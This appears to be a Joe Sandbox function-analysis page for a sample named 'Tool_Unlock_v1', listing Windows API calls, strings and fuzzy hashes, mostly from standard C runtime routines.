Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: f69becfe7073c583ab13ce66cbc0fc245c46bb74949607e5fc3398786424f97c
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 06022B71E016199BDF15CFA8C8807AEBBF5FF48314F25826AD515EB380D731AD458B90

Function 00351FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003520D9

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: a8bb8b5202720e866b0ca1ca22afc8d24f8f9d267533ac70ed42c46cb30c6545
Instruction ID: e8d87897325585c21a02d4afb88f266ca75f8b167d8d64091967ec0d143b2ea6
Opcode Fuzzy Hash: a8bb8b5202720e866b0ca1ca22afc8d24f8f9d267533ac70ed42c46cb30c6545
Instruction Fuzzy Hash: F471F5B19051595FDF22AF34DC89EFBB7B9AB06301F1441D9E848AB261DB319E88CF10

Function 0033F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0033F8F5
IsDebuggerPresent.KERNEL32 ref: 0033F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0033F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0033F9E4

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 4ad787052d7aac9c494dba38dcee493bd5aafde5264262d445c3ea585c7d7dcd
Instruction ID: 046fb04ca3cec2299b9a874d0955f3a607828e3bb0ac4221ea184def030cfbf7
Opcode Fuzzy Hash: 4ad787052d7aac9c494dba38dcee493bd5aafde5264262d445c3ea585c7d7dcd
Instruction Fuzzy Hash: 9B310875D01219EBDF22DFA4DD897CDBBB8AF08300F1041AAE40CAB250EB759A84CF45

Function 0035AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,0035AACD,?,?,?,?,?,?,?,?,?,?), ref: 0035AB88
__alloca_probe_16.LIBCMT ref: 0035AC43
__alloca_probe_16.LIBCMT ref: 0035ACD2
__freea.LIBCMT ref: 0035AD1D
__freea.LIBCMT ref: 0035AD23
__freea.LIBCMT ref: 0035AD59
__freea.LIBCMT ref: 0035AD5F
__freea.LIBCMT ref: 0035AD6F

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 6fb82c59bc2908aa807e78ea716f21c2efb6991d1b238d33986ae4354e472f3c
Instruction ID: 3d07f6b19798bcf38435414dafe763c3582b2f057f371f085eb7c5996cd40712
Opcode Fuzzy Hash: 6fb82c59bc2908aa807e78ea716f21c2efb6991d1b238d33986ae4354e472f3c
Instruction Fuzzy Hash: F5711B72900A0A5BDF23AE548C51FAF77FADF45312F160255EC04AB2B1E735DC08A792

Function 0033FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0033FE70
__alloca_probe_16.LIBCMT ref: 0033FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0033FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0033FF37
__alloca_probe_16.LIBCMT ref: 0033FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0033FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0033FFB9

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 6afb00fcdb80bbd5c0d0cb7ec5f4c941b493b4cb3b006b4093fec247f6c9f226
Instruction ID: 9eba6bd3a52b5772794b57185fdfb74c372511f50560b15d6847b8848e4a9251
Opcode Fuzzy Hash: 6afb00fcdb80bbd5c0d0cb7ec5f4c941b493b4cb3b006b4093fec247f6c9f226
Instruction Fuzzy Hash: 47519E72A0021AAFEF225F60CC85FAB7BA9EF41794F564439FD15EA1A0D770DC108B60

Function 0034EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0034EEFC

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: b2f6edfa681528b6d08fbfe91faccbb8abb1d93a2c4ce2bf1c1890855909139f
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 03B14672A00355AFEB138F64CC82BAE7BE5EF55310F1A4165E944AF282D774BD05CBA0

Function 00340D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00340D77
___except_validate_context_record.LIBVCRUNTIME ref: 00340D7F
_ValidateLocalCookies.LIBCMT ref: 00340E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00340E33
_ValidateLocalCookies.LIBCMT ref: 00340E88

Strings

csm, xrefs: 00340E1D

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1c713b277c72945821af4e96647234bee21b3dd63f3f3220021442135851fe9d
Instruction ID: 128f81033a761150633fa7e45f5aeb260471a5a1577da9c7ca5f927da425a977
Opcode Fuzzy Hash: 1c713b277c72945821af4e96647234bee21b3dd63f3f3220021442135851fe9d
Instruction Fuzzy Hash: 0441EF30E00618ABCF1ADFA8C880A9EBBF5AF45314F148455EA149F352D731FE95CB90

Function 00333C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00333CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00333CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00333CE0
__Getctype.LIBCPMT ref: 00333D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00333DD8

Strings

e.6, xrefs: 00333D67

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.6
API String ID: 3087743877-1977633900
Opcode ID: dd204f4c4187e61b576ada66db9519ea90e7661106c86bd7830391250439b33d
Instruction ID: 62ca11f85885e528e99842c539255219e0d714d79e28da06fc4cf7b42da6e720
Opcode Fuzzy Hash: dd204f4c4187e61b576ada66db9519ea90e7661106c86bd7830391250439b33d
Instruction Fuzzy Hash: 0E417971E006188FCB16DF94D881BAEB7B5FF84720F058229D8956B391DB75AE01CF91

Function 003324B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 003324DD
ShowWindow.USER32(00000000,00000000), ref: 003324E6
GetCurrentThreadId.KERNEL32 ref: 00332524

Part of subcall function 0033F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0033253A,?,?,00000000), ref: 0033F129
Part of subcall function 0033F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0033253A,?,?,00000000), ref: 0033F142
Part of subcall function 0033F11D: CloseHandle.KERNEL32(?,?,?,0033253A,?,?,00000000), ref: 0033F154

std::_Throw_Cpp_error.LIBCPMT ref: 00332567
std::_Throw_Cpp_error.LIBCPMT ref: 00332578
std::_Throw_Cpp_error.LIBCPMT ref: 00332589
std::_Throw_Cpp_error.LIBCPMT ref: 0033259A

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 1ffec6f3ae02629fd2adfb7a8a5b95dca11943495c60066b4527c058d0d171b5
Instruction ID: 29f9795a8aae2767fc5618167dbd95d4f79091153055c27034f042a9a2130a30
Opcode Fuzzy Hash: 1ffec6f3ae02629fd2adfb7a8a5b95dca11943495c60066b4527c058d0d171b5
Instruction Fuzzy Hash: F02188F2D402159BDF11EF949C87BDFBBB8AF04750F180125F5047A281E7B5A614C7A6

Function 0034CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,0034D01A,00331170,0033AA08,?,?), ref: 0034CFCC

Strings

ext-ms-, xrefs: 0034CF76
api-ms-, xrefs: 0034CF62

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: a58e39f87cfec1d59f6b754dc42a4fc9a376211e44ef97b192cc5925d4dc299d
Instruction ID: fbdda1030a32106be1f9a337b9dffe323c76f68b5a2312673e4245a95ef79d8d
Opcode Fuzzy Hash: a58e39f87cfec1d59f6b754dc42a4fc9a376211e44ef97b192cc5925d4dc299d
Instruction Fuzzy Hash: C3212B31B12311ABC7238B64DC41A5AB79DDB417A0F165121F905AF290E774FD08CBD0

Function 00340080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00340086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00340094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003400A5

Strings

GetTempPath2W, xrefs: 0034009A
kernel32.dll, xrefs: 00340081
GetSystemTimePreciseAsFileTime, xrefs: 0034008E

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ffb81b457daa90623b972b1cdf93ce8173742bb55817d9ecc62d494be6f73944
Instruction ID: 941e65693633dd34865fb2037d685a62dc33473f78e843be8ca4dc1a7461c902
Opcode Fuzzy Hash: ffb81b457daa90623b972b1cdf93ce8173742bb55817d9ecc62d494be6f73944
Instruction Fuzzy Hash: 6FD09E715556106BC3135F74BC0E9DD3EBDFA09751B01C162F441D2354DBF545008B64

Function 00354F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094716b491d56284f635d6d178452b8e3933a13132e4966b1dcab42388feb916
Instruction ID: aef4533afa4e5bd42ad163ee09443256a7a845ab31db65514ea2de5fea9fda32
Opcode Fuzzy Hash: 094716b491d56284f635d6d178452b8e3933a13132e4966b1dcab42388feb916
Instruction Fuzzy Hash: 41B10274E08A499FDB03CFA9C851FADBBB5AF45305F154158E9019F2A2CBB0BD45CBA0

Function 00339B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00339C97
std::_Throw_Cpp_error.LIBCPMT ref: 00339CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00339CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00339CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00339CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00339D06

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: dd86eccbc8e092587270f8ef019d434111f00508b65a756bcd210e154b72fe3b
Instruction ID: 08f60303b325d14f96f05f4826903cb44e9b1a83433907e615aaee26e5de843d
Opcode Fuzzy Hash: dd86eccbc8e092587270f8ef019d434111f00508b65a756bcd210e154b72fe3b
Instruction Fuzzy Hash: 4141E7B5900740CBDB329F6489817AFF7F8BF45320F18062ED57A1A2D1D7B5A904CB52

Function 0034ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0034ACDE,00340760,0033B77F,BB40E64E,?,?,?,?,0035BFCA,000000FF), ref: 0034ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0034AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0034AD1C
SetLastError.KERNEL32(00000000,?,0034ACDE,00340760,0033B77F,BB40E64E,?,?,?,?,0035BFCA,000000FF), ref: 0034AD6E

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e7cf1d3db5611f40d5a8373a5eb04b3df628aa67ab351a530bc63fe20c9d2e30
Instruction ID: 8813c92ee4f64ea62f24dd97e6a00870bfad6dffcb7edef4876de47e480eaa4c
Opcode Fuzzy Hash: e7cf1d3db5611f40d5a8373a5eb04b3df628aa67ab351a530bc63fe20c9d2e30
Instruction Fuzzy Hash: 79014032645E155FE72727747C4AC2667CCEB02B72B20433EF5108D5F0EF925C425541

Function 0034B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0034B68D
CallUnexpected.LIBVCRUNTIME ref: 0034B906

Strings

csm, xrefs: 0034B618
csm, xrefs: 0034B6C4
csm, xrefs: 0034B5AB

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 109e88513149de0eff665179690199aa4da8c92f0fd4d91ae689b84a6cf1defb
Instruction ID: b354a85eb8d1533a44038cf63e8ae2005e860c881880704f81acb3c1786053e9
Opcode Fuzzy Hash: 109e88513149de0eff665179690199aa4da8c92f0fd4d91ae689b84a6cf1defb
Instruction Fuzzy Hash: 3BB13771800209EFCF1ADFA4C8819AEBBF9EF54310F16455AE811AF212D735EA61DF91

Function 0033BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0033BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0033C028

Strings

csm, xrefs: 0033BEB7
MOC, xrefs: 0033BE9F
RCC, xrefs: 0033BEAB

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: f1bca05971e708c31046692f58ff48703705a4090695846358f32e5807a0ab90
Instruction ID: 9f7cea42bc241672ea361665d0492c70cc4c8da6b09ccaf4ff1616e3e3c37c94
Opcode Fuzzy Hash: f1bca05971e708c31046692f58ff48703705a4090695846358f32e5807a0ab90
Instruction Fuzzy Hash: AB41BD74900208DFCF2ADF68C985AAEF7F5BF48300F59815DE649AB642C734EA44CB52

Function 003455C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0035BE94,000000FF,?,00345685,?,?,00345721,00000000), ref: 003455F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0034560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0035BE94,000000FF,?,00345685,?,?,00345721,00000000), ref: 0034562D

Strings

mscoree.dll, xrefs: 003455F2
CorExitProcess, xrefs: 00345603

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eee7f8a8c4f2ac0dd3ed3ef95e69c6ddd813a63ae4d779d16ed92041091ba2cb
Instruction ID: 6b6e3109933cc3370afd42435a401132506981c03bbf9be8552dd40fe381ccd4
